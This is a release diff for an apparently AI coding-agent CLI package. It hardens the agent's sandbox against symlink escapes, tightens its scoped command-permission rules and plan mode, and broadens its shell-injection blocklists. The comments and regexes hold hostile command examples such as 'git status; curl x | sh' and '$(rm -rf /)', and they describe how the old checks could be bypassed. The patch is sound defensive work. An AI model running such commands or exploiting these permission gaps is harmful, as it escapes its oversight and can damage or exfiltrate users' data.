scalix 1.5.0 → 1.5.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -205,42 +205,65 @@ async function extractSymbols(filePath, relativePath) {
205
205
  }
206
206
  }
207
207
  // Import patterns for dependency tracking
208
- const IMPORT_PATTERNS = [
209
- // JS/TS: import { x } from './y' or import x from './y' or require('./y')
210
- { ext: new Set(['.ts', '.tsx', '.js', '.jsx', '.mjs', '.cjs']),
211
- pattern: /(?:import\s+(?:{([^}]+)}\s+from\s+|(\w+)\s+from\s+)?['"]([^'"]+)['"]|require\s*\(\s*['"]([^'"]+)['"]\s*\))/g },
212
- // Python: from x import y or import x
213
- { ext: new Set(['.py']),
214
- pattern: /(?:from\s+([\w.]+)\s+import\s+([\w,\s*]+)|import\s+([\w.]+))/g },
215
- // Go: import "x" or import ( "x" )
216
- { ext: new Set(['.go']),
217
- pattern: /import\s+(?:(?:\w+\s+)?"([^"]+)"|[\s\S]*?"([^"]+)")/g },
218
- // Rust: use x::y
219
- { ext: new Set(['.rs']),
220
- pattern: /use\s+([\w:]+(?:::\{[^}]+\})?)/g },
221
- ];
208
+ const JS_TS_EXTS = new Set(['.ts', '.tsx', '.js', '.jsx', '.mjs', '.cjs']);
222
209
  function extractImports(content, relativePath, ext) {
223
210
  const imports = [];
224
- for (const { ext: exts, pattern } of IMPORT_PATTERNS) {
225
- if (!exts.has(ext))
226
- continue;
227
- const regex = new RegExp(pattern.source, pattern.flags);
211
+ if (JS_TS_EXTS.has(ext)) {
212
+ // Matches: import ... from '...'; import '...'; export ... from '...'; require('...')
213
+ const jsPattern = /(?:(?:import|export)\s+(?:type\s+)?(?:(?:\*\s+as\s+\w+|{([\s\S]*?)}|[\w\s,]+)\s+from\s+)?['"]([^'"]+)['"]|require\s*\(\s*['"]([^'"]+)['"]\s*\))/g;
228
214
  let match;
229
- while ((match = regex.exec(content)) !== null) {
230
- const modulePath = match[3] || match[4] || match[1] || match[5] || match[6] || '';
215
+ while ((match = jsPattern.exec(content)) !== null) {
216
+ const modulePath = match[2] || match[3] || '';
231
217
  if (!modulePath)
232
218
  continue;
233
- // Only track local imports (starting with . or relative paths)
234
219
  const isLocal = modulePath.startsWith('.') || modulePath.startsWith('/');
235
220
  if (!isLocal)
236
221
  continue;
237
- const importedSymbols = (match[1] || match[2] || '').split(',').map((s) => s.trim().split(/\s+as\s+/)[0]).filter(Boolean);
222
+ const symbolsRaw = match[1] || '';
223
+ const symbols = symbolsRaw
224
+ ? symbolsRaw.split(',').map((s) => s.trim().replace(/^type\s+/, '').split(/\s+as\s+/)[0].trim()).filter(Boolean)
225
+ : [];
238
226
  imports.push({
239
227
  from: relativePath,
240
228
  to: modulePath,
241
- symbols: importedSymbols,
229
+ symbols,
242
230
  });
243
231
  }
232
+ return imports;
233
+ }
234
+ if (ext === '.py') {
235
+ const pyPattern = /(?:from\s+([\w.]+)\s+import\s+([\w,\s*]+)|import\s+([\w.]+))/g;
236
+ let match;
237
+ while ((match = pyPattern.exec(content)) !== null) {
238
+ const modulePath = match[1] || match[3] || '';
239
+ if (!modulePath || !modulePath.startsWith('.'))
240
+ continue;
241
+ const symbols = (match[2] || '').split(',').map((s) => s.trim()).filter(Boolean);
242
+ imports.push({ from: relativePath, to: modulePath, symbols });
243
+ }
244
+ return imports;
245
+ }
246
+ if (ext === '.go') {
247
+ const goPattern = /import\s+(?:(?:\w+\s+)?"([^"]+)"|[\s\S]*?"([^"]+)")/g;
248
+ let match;
249
+ while ((match = goPattern.exec(content)) !== null) {
250
+ const modulePath = match[1] || match[2] || '';
251
+ if (!modulePath || (!modulePath.startsWith('.') && !modulePath.startsWith('/')))
252
+ continue;
253
+ imports.push({ from: relativePath, to: modulePath, symbols: [] });
254
+ }
255
+ return imports;
256
+ }
257
+ if (ext === '.rs') {
258
+ const rsPattern = /use\s+((?:crate|super|self)::[\w:]+(?:::\{[^}]+\})?)/g;
259
+ let match;
260
+ while ((match = rsPattern.exec(content)) !== null) {
261
+ const modulePath = match[1] || '';
262
+ if (!modulePath)
263
+ continue;
264
+ imports.push({ from: relativePath, to: modulePath, symbols: [] });
265
+ }
266
+ return imports;
244
267
  }
245
268
  return imports;
246
269
  }
package/dist/sandbox.js CHANGED
@@ -15,8 +15,15 @@ function normalizeSep(p) {
15
15
  return process.platform === 'win32' ? p.replace(/\//g, '\\') : p;
16
16
  }
17
17
  export function isWithinRoot(p, root) {
18
- const np = normalizeSep(p).toLowerCase();
19
- const nr = normalizeSep(root).toLowerCase();
18
+ // Case-fold only where the filesystem does. Folding on Linux made
19
+ // `/srv/Secret/x` test as inside `/srv/secret` — two genuinely different
20
+ // directories — which is an escape, not a convenience. macOS is usually
21
+ // case-insensitive but can be formatted otherwise; comparing exactly there
22
+ // can only reject a path that is really inside the root, which fails closed,
23
+ // and callers realpath first so the on-disk casing already agrees.
24
+ const fold = (s) => (IS_WINDOWS ? s.toLowerCase() : s);
25
+ const np = fold(normalizeSep(p));
26
+ const nr = fold(normalizeSep(root));
20
27
  return np === nr || np.startsWith(nr + path.sep);
21
28
  }
22
29
  // Resolve symlinks on the longest existing prefix of `resolved` synchronously.
@@ -83,24 +90,44 @@ export function sandboxPath(filePath) {
83
90
  }
84
91
  return real;
85
92
  }
93
+ // Async twin of realpathLongestExistingPrefix.
94
+ async function realpathLongestExistingPrefixAsync(resolved) {
95
+ let existing = resolved;
96
+ const remainder = [];
97
+ while (true) {
98
+ try {
99
+ // fs/promises has no realpath.native, so strip the prefix defensively.
100
+ const real = stripExtendedLengthPrefix(await fs.realpath(existing));
101
+ return remainder.length > 0 ? path.join(real, ...remainder) : real;
102
+ }
103
+ catch (err) {
104
+ if (err.code !== 'ENOENT')
105
+ throw err;
106
+ const parent = path.dirname(existing);
107
+ if (parent === existing)
108
+ return resolved;
109
+ remainder.unshift(path.basename(existing));
110
+ existing = parent;
111
+ }
112
+ }
113
+ }
86
114
  export async function sandboxPathAsync(filePath) {
87
115
  const root = getSandboxRoot();
88
116
  const resolved = path.resolve(root, filePath);
89
117
  if (!isWithinRoot(resolved, root)) {
90
118
  throw new Error(`Path traversal blocked: "${filePath}" resolves outside working directory`);
91
119
  }
92
- try {
93
- const real = await fs.realpath(resolved);
94
- if (!isWithinRoot(real, realSandboxRoot(root))) {
95
- throw new Error(`Symlink traversal blocked: "${filePath}" resolves to "${real}" outside working directory`);
96
- }
97
- return real;
98
- }
99
- catch (err) {
100
- if (err.code === 'ENOENT')
101
- return resolved;
102
- throw err;
120
+ // The path usually does NOT exist yet — every write of a new file lands here.
121
+ // Returning `resolved` unchecked on ENOENT was the hole: only the leaf has to
122
+ // be missing for the check to be skipped, so `<root>/link/new.txt`, where
123
+ // `link` is a symlink to /etc, wrote straight out of the sandbox. Resolve the
124
+ // longest ancestor that does exist and verify containment on that, exactly as
125
+ // the sync path already does.
126
+ const real = await realpathLongestExistingPrefixAsync(resolved);
127
+ if (!isWithinRoot(real, realSandboxRoot(root))) {
128
+ throw new Error(`Symlink traversal blocked: "${filePath}" resolves to "${real}" outside working directory`);
103
129
  }
130
+ return real;
104
131
  }
105
132
  let _scopedRules = [];
106
133
  export function setScopedPermissionRules(rules) {
@@ -115,6 +142,12 @@ function parseScopedToolSpec(spec) {
115
142
  return { tool: match[1], prefix: match[2].replace(/\*$/, '') };
116
143
  return { tool: spec };
117
144
  }
145
+ // A prefix rule describes the command it names, not everything that can be
146
+ // stapled onto it. `run_command(git *)` was matching `git status; curl x | sh`
147
+ // with a plain startsWith, so one allow rule for a read-only command handed
148
+ // over arbitrary execution. Anything here means the text after the prefix is no
149
+ // longer the command the rule was written about.
150
+ const SHELL_CHAINING_RE = /[;&|<>\n\r`]|\$\(/;
118
151
  export function checkScopedPermission(toolName, args) {
119
152
  if (_scopedRules.length === 0)
120
153
  return null;
@@ -125,17 +158,40 @@ export function checkScopedPermission(toolName, args) {
125
158
  continue;
126
159
  if (parsed.tool !== toolName)
127
160
  continue;
128
- if (!parsed.prefix)
129
- return rule.action;
130
- if (argStr && argStr.startsWith(parsed.prefix))
131
- return rule.action;
161
+ const deny = rule.action === 'deny';
162
+ // deny is an OR over its conditions, allow is an AND. Both directions round
163
+ // toward refusing: a deny rule fires if anything it names matches, and an
164
+ // allow rule fires only if everything it names matches. Previously both
165
+ // were an OR that `prefix`-less rules short-circuited past entirely, so
166
+ // `{tool:'run_command', regex:'^git status$', action:'allow'}` allowed
167
+ // every command the tool could run — the regex was never consulted.
168
+ let prefixHit = null;
169
+ if (parsed.prefix) {
170
+ prefixHit = !!argStr && argStr.startsWith(parsed.prefix);
171
+ // Only allow rules need the chaining check; a deny that matched should
172
+ // keep matching however the command continues.
173
+ if (prefixHit && !deny && toolName === 'run_command'
174
+ && SHELL_CHAINING_RE.test(argStr.slice(parsed.prefix.length))) {
175
+ prefixHit = false;
176
+ }
177
+ }
178
+ let regexHit = null;
132
179
  if (rule.regex) {
133
180
  try {
134
- if (new RegExp(rule.regex).test(argStr || ''))
135
- return rule.action;
181
+ regexHit = new RegExp(rule.regex).test(argStr || '');
182
+ }
183
+ catch {
184
+ // An unparseable pattern is a config error. Honouring it as a match on
185
+ // a deny rule over-blocks; ignoring it on an allow rule under-permits.
186
+ regexHit = deny;
136
187
  }
137
- catch { }
138
188
  }
189
+ const conditions = [prefixHit, regexHit].filter((c) => c !== null);
190
+ const matched = conditions.length === 0
191
+ ? true // bare `run_command` — the whole tool
192
+ : deny ? conditions.some(Boolean) : conditions.every(Boolean);
193
+ if (matched)
194
+ return rule.action;
139
195
  }
140
196
  return null;
141
197
  }
@@ -264,11 +320,16 @@ export function getToolPermission(toolName, mode) {
264
320
  }
265
321
  export function getToolPermissionWithArgs(toolName, mode, args) {
266
322
  const scoped = checkScopedPermission(toolName, args);
267
- if (scoped === 'allow')
268
- return 'allow';
269
323
  if (scoped === 'deny')
270
324
  return 'block';
271
- return getToolPermission(toolName, mode);
325
+ const base = getToolPermission(toolName, mode);
326
+ // A scoped allow skips the confirmation prompt; it does not widen the mode.
327
+ // Returning 'allow' unconditionally let a saved `run_command(...)` rule run
328
+ // commands in plan mode — the one mode whose entire promise is that nothing
329
+ // executes. Rules earn 'ask' → 'allow', never 'block' → 'allow'.
330
+ if (scoped === 'allow')
331
+ return base === 'block' ? 'block' : 'allow';
332
+ return base;
272
333
  }
273
334
  export function isDangerousTool(toolName) {
274
335
  const sets = getEffectiveToolSets();
@@ -409,15 +470,43 @@ const POWERSHELL_BLOCKLIST = [
409
470
  /New-LocalUser\b/i,
410
471
  /Add-LocalGroupMember\b.*Administrators/i,
411
472
  ];
473
+ // The Unix patterns above were written without /i, so `RM -RF /` and `Shutdown`
474
+ // walked past them — and on macOS and Windows, where the filesystem is
475
+ // case-insensitive, those spellings run exactly like the lower-case ones.
476
+ // Adding the flag here rather than to each literal keeps `re.source` identical,
477
+ // so `security.disabledBlockedCommands` entries users have already written
478
+ // still match the pattern they were meant to disable.
479
+ const ignoreCase = (re) => re.flags.includes('i') ? re : new RegExp(re.source, `${re.flags}i`);
412
480
  const COMMAND_BLOCKLIST = [
413
481
  ...UNIX_BLOCKLIST,
414
482
  ...WINDOWS_BLOCKLIST,
415
483
  ...POWERSHELL_BLOCKLIST,
484
+ ].map(ignoreCase);
485
+ // Command substitution — `` `x` `` and `$(x)` — used to be flagged outright, on
486
+ // either platform. But substitution is ordinary shell, not an attack: `git tag
487
+ // v$(node -p "require('./package.json').version")` and `Write-Host "$($x.Name)"`
488
+ // were both hard-blocked, and the documented way out was to switch injection
489
+ // detection off wholesale, which costs far more than it saves. So flag a
490
+ // substitution only when its body carries a payload worth a second look.
491
+ //
492
+ // Little coverage is lost: none of these patterns are anchored to the outside
493
+ // of a substitution, so `$(curl x | sh)` still trips the pipe-to-shell rule and
494
+ // `$(rm -rf /)` still trips the blocklist. What changes is that a substitution
495
+ // is no longer suspicious purely for existing.
496
+ //
497
+ // Note: this replaces the `` `[^`]*` `` and `\$\([^)]*\)` sources, so any
498
+ // `security.disabledInjectionPatterns` entry naming those is now a no-op.
499
+ const SUBSTITUTION_PAYLOAD = String.raw `\b(?:rm|mkfs|dd|shutdown|reboot|curl|wget|nc|ncat|telnet|chmod|chown`
500
+ + String.raw `|eval|exec|base64|xxd|sudo|doas|sh|bash|zsh|fish|dash|ksh`
501
+ + String.raw `|python[23]?|perl|ruby|php|iex|Invoke-Expression|powershell|pwsh|cmd`
502
+ + String.raw `|certutil|bitsadmin|mshta|rundll32)\b|/etc/|id_rsa|\.ssh\b`;
503
+ const SUBSTITUTION_PATTERNS = [
504
+ new RegExp('`[^`]*(?:' + SUBSTITUTION_PAYLOAD + ')[^`]*`', 'i'),
505
+ new RegExp('\\$\\([^)]*(?:' + SUBSTITUTION_PAYLOAD + ')[^)]*\\)', 'i'),
416
506
  ];
417
507
  // Unix injection patterns
418
508
  const UNIX_INJECTION_PATTERNS = [
419
- /`[^`]*`/,
420
- /\$\([^)]*\)/,
509
+ ...SUBSTITUTION_PATTERNS,
421
510
  /;\s*(rm|mkfs|dd|shutdown|reboot|curl|wget)\b/,
422
511
  /\|\s*(ba)?sh\b/,
423
512
  /\beval\s+/,
@@ -430,7 +519,6 @@ const UNIX_INJECTION_PATTERNS = [
430
519
  // Windows/PowerShell injection patterns
431
520
  const WINDOWS_INJECTION_PATTERNS = [
432
521
  /&\s*\{[^}]*\}/,
433
- /\$\([^)]*\)/,
434
522
  /;\s*(del|rd|rmdir|format|diskpart|net\s+user|reg\s+delete)\b/i,
435
523
  /\|\s*powershell\b/i,
436
524
  /\|\s*pwsh\b/i,
@@ -445,7 +533,7 @@ const WINDOWS_INJECTION_PATTERNS = [
445
533
  const INJECTION_PATTERNS = [
446
534
  ...UNIX_INJECTION_PATTERNS,
447
535
  ...WINDOWS_INJECTION_PATTERNS,
448
- ];
536
+ ].map(ignoreCase);
449
537
  const SENSITIVE_ENV_PATTERNS = [
450
538
  /API_KEY/i, /SECRET/i, /TOKEN/i, /PASSWORD/i, /CREDENTIAL/i, /AUTH/i, /PRIVATE/i,
451
539
  // Broad substrings that commonly carry secrets or connection strings.
package/dist/sessions.js CHANGED
@@ -92,6 +92,18 @@ export async function listSessions() {
92
92
  }
93
93
  return sessions.sort((a, b) => b.updatedAt.localeCompare(a.updatedAt));
94
94
  }
95
+ export async function renameSession(id, newName) {
96
+ const session = await loadSession(id);
97
+ const trimmed = newName.trim();
98
+ if (trimmed) {
99
+ session.meta.name = trimmed;
100
+ session.meta.updatedAt = new Date().toISOString();
101
+ }
102
+ const tmpPath = path.join(SESSIONS_DIR, `scalix-session-${id}-${Date.now()}-${randomUUID().slice(0, 8)}.tmp`);
103
+ await fs.writeFile(tmpPath, JSON.stringify(session, null, 2), { encoding: 'utf-8', mode: 0o600 });
104
+ await fs.rename(tmpPath, sessionPath(id));
105
+ return session.meta;
106
+ }
95
107
  export async function deleteSession(id) {
96
108
  try {
97
109
  await fs.unlink(sessionPath(id));
package/dist/settings.js CHANGED
@@ -91,6 +91,10 @@ function validateConfig(parsed) {
91
91
  typeof s.contextWindow === 'number' && s.contextWindow > 0 &&
92
92
  typeof s.maxOutputTokens === 'number' && s.maxOutputTokens > 0) {
93
93
  validated[id] = { contextWindow: s.contextWindow, maxOutputTokens: s.maxOutputTokens };
94
+ // Keep the vision flag — dropping it made every user-declared vision
95
+ // model report supportsVision === false and silently strip images.
96
+ if (s.supportsVision === true)
97
+ validated[id].supportsVision = true;
94
98
  }
95
99
  }
96
100
  if (Object.keys(validated).length > 0) {
@@ -387,6 +391,22 @@ export async function loadConfig() {
387
391
  return config;
388
392
  }
389
393
  }
394
+ /**
395
+ * The GLOBAL config file only — no project-local settings.local.json, no
396
+ * managed-policy merge, no keychain resolution. This is the ONLY correct base
397
+ * for a read-modify-write persistence cycle: round-tripping loadConfig()
398
+ * (which merges overrides) through saveConfig() laundered project-local
399
+ * models/limits/customModels into ~/.scalix-coder/config.json permanently.
400
+ */
401
+ export async function loadGlobalConfig() {
402
+ try {
403
+ const raw = await fs.readFile(getConfigFile(), 'utf-8');
404
+ return { ...DEFAULTS, ...validateConfig(JSON.parse(raw)) };
405
+ }
406
+ catch {
407
+ return { ...DEFAULTS };
408
+ }
409
+ }
390
410
  export async function saveConfig(config) {
391
411
  await ensureDir();
392
412
  // Store API keys in keychain if available, strip from config file. The
@@ -436,23 +456,34 @@ export const OPENAI_KEYCHAIN_ACCOUNT = 'api-key-openai';
436
456
  * path is byte-identical to the pre-BYOK behavior. There is NO default
437
457
  * third-party URL — an openai selection without a baseUrl resolves with an
438
458
  * empty one and the caller surfaces the configuration error.
459
+ *
460
+ * Scalix Cloud credentials resolve separately so BYOK sessions keep the
461
+ * platform tools: under `openai` they come from `SCALIX_CLOUD_API_KEY` →
462
+ * `SCALIX_API_KEY` → the top-level `config.apiKey`, and are simply empty when
463
+ * the user never added one.
439
464
  */
440
465
  export function resolveActiveProvider(config, env = process.env) {
441
466
  const envProvider = env.SCALIX_PROVIDER?.trim().toLowerCase();
442
467
  const provider = isProviderId(envProvider)
443
468
  ? envProvider
444
469
  : (config.provider ?? 'scalix');
470
+ const scalixBaseUrl = env.SCALIX_BASE_URL?.trim() || config.baseUrl;
471
+ const scalixApiKey = env.SCALIX_API_KEY?.trim() || config.apiKey;
445
472
  if (provider === 'openai') {
446
473
  const creds = config.providers?.openai ?? {};
447
474
  return {
448
475
  provider,
449
476
  baseUrl: env.OPENAI_BASE_URL?.trim() || creds.baseUrl || '',
450
477
  apiKey: env.OPENAI_API_KEY?.trim() || creds.apiKey || '',
478
+ cloudBaseUrl: env.SCALIX_CLOUD_BASE_URL?.trim() || scalixBaseUrl,
479
+ cloudApiKey: env.SCALIX_CLOUD_API_KEY?.trim() || scalixApiKey || '',
451
480
  };
452
481
  }
453
482
  return {
454
483
  provider: 'scalix',
455
- baseUrl: env.SCALIX_BASE_URL?.trim() || config.baseUrl,
456
- apiKey: env.SCALIX_API_KEY?.trim() || config.apiKey,
484
+ baseUrl: scalixBaseUrl,
485
+ apiKey: scalixApiKey,
486
+ cloudBaseUrl: scalixBaseUrl,
487
+ cloudApiKey: scalixApiKey,
457
488
  };
458
489
  }
@@ -16,16 +16,19 @@ export const SLASH_COMMANDS = [
16
16
  { cmd: '/mode', desc: 'Permission mode (plan/default/auto/yolo)' },
17
17
  { cmd: '/thinking', desc: 'Thinking mode (off/low/medium/high)' },
18
18
  { cmd: '/plan', desc: 'Enter plan mode (read-only)' },
19
+ { cmd: '/preset', desc: 'Set agent preset (persona)' },
19
20
  { cmd: '/compact', desc: 'Compress conversation context' },
20
21
  { cmd: '/context', desc: 'Show context usage & token count' },
21
22
  { cmd: '/cost', desc: 'Show token usage & cost' },
22
23
  { cmd: '/diff', desc: 'Show uncommitted changes' },
23
24
  { cmd: '/copy', desc: 'Copy last response to clipboard' },
24
25
  { cmd: '/save', desc: 'Save current session' },
26
+ { cmd: '/rename', desc: 'Rename current chat session' },
25
27
  { cmd: '/load', desc: 'Resume a saved session' },
26
28
  { cmd: '/resume', desc: 'Resume from crash recovery or saved session' },
27
29
  { cmd: '/fork', desc: 'Fork conversation from a point in history' },
28
30
  { cmd: '/export', desc: 'Export conversation as text' },
31
+ { cmd: '/feedback', desc: 'Submit user feedback & ratings' },
29
32
  { cmd: '/index', desc: 'Scan & index project files' },
30
33
  { cmd: '/init', desc: 'Initialize project config (SCALIX.md)' },
31
34
  { cmd: '/git', desc: 'Show git context' },
@@ -69,6 +72,7 @@ export const HELP_LINES = [
69
72
  ' /shortcuts \u2014 keyboard shortcuts',
70
73
  ' /clear \u2014 reset conversation',
71
74
  ' /save [name] \u2014 save current session',
75
+ ' /rename [name]\u2014 rename current session',
72
76
  ' /load \u2014 resume a saved session',
73
77
  ' /resume \u2014 resume from crash recovery or saved session',
74
78
  ' /fork \u2014 fork conversation from a point in history',
@@ -81,6 +85,7 @@ export const HELP_LINES = [
81
85
  ' /mode [m] \u2014 permission mode (plan/default/auto/yolo)',
82
86
  ' /thinking [m] \u2014 thinking mode (off/low/medium/high)',
83
87
  ' /plan \u2014 enter plan mode (read-only)',
88
+ ' /preset [p] \u2014 set agent preset (cloud-architect/dba/devops/full-access)',
84
89
  '',
85
90
  'Context & Cost:',
86
91
  ' /compact \u2014 compress conversation context',
@@ -109,6 +114,7 @@ export const HELP_LINES = [
109
114
  '',
110
115
  'Tools & Config:',
111
116
  ' /copy \u2014 copy last response to clipboard',
117
+ ' /feedback [m] \u2014 submit user feedback',
112
118
  ' /cloud \u2014 Scalix Cloud status (/cloud tools, /cloud refresh)',
113
119
  ' /login \u2014 link your Scalix account (API key)',
114
120
  ' /status \u2014 show version, model & connection info',
package/dist/sub-agent.js CHANGED
@@ -1,6 +1,7 @@
1
1
  import { createAgent } from './agent.js';
2
2
  import { defaultTools } from './tools.js';
3
3
  import { extraTools } from './tools-extra.js';
4
+ import { memoryTools } from './tools-memory.js';
4
5
  import { webTools } from './tools-web.js';
5
6
  import { advancedTools } from './tools-advanced.js';
6
7
  import { logger } from './logger.js';
@@ -15,10 +16,10 @@ import { createWorktree, removeWorktree, mergeWorktree } from './worktree.js';
15
16
  const READ_ONLY_TOOL_NAMES = new Set([
16
17
  'get_current_time', 'calculate', 'read_file', 'read_file_lines',
17
18
  'list_files', 'search_files', 'find_files', 'tree',
18
- 'git_status', 'git_diff', 'web_search', 'monitor',
19
+ 'git_status', 'git_diff', 'web_search', 'monitor', 'get_memory',
19
20
  ]);
20
21
  function selectTools(level, allowAgentTool = false) {
21
- const all = [...defaultTools, ...extraTools, ...webTools, ...advancedTools]
22
+ const all = [...defaultTools, ...extraTools, ...memoryTools, ...webTools, ...advancedTools]
22
23
  .filter((t) => {
23
24
  const name = t.function?.name || t.name;
24
25
  if (name === 'agent' && !allowAgentTool)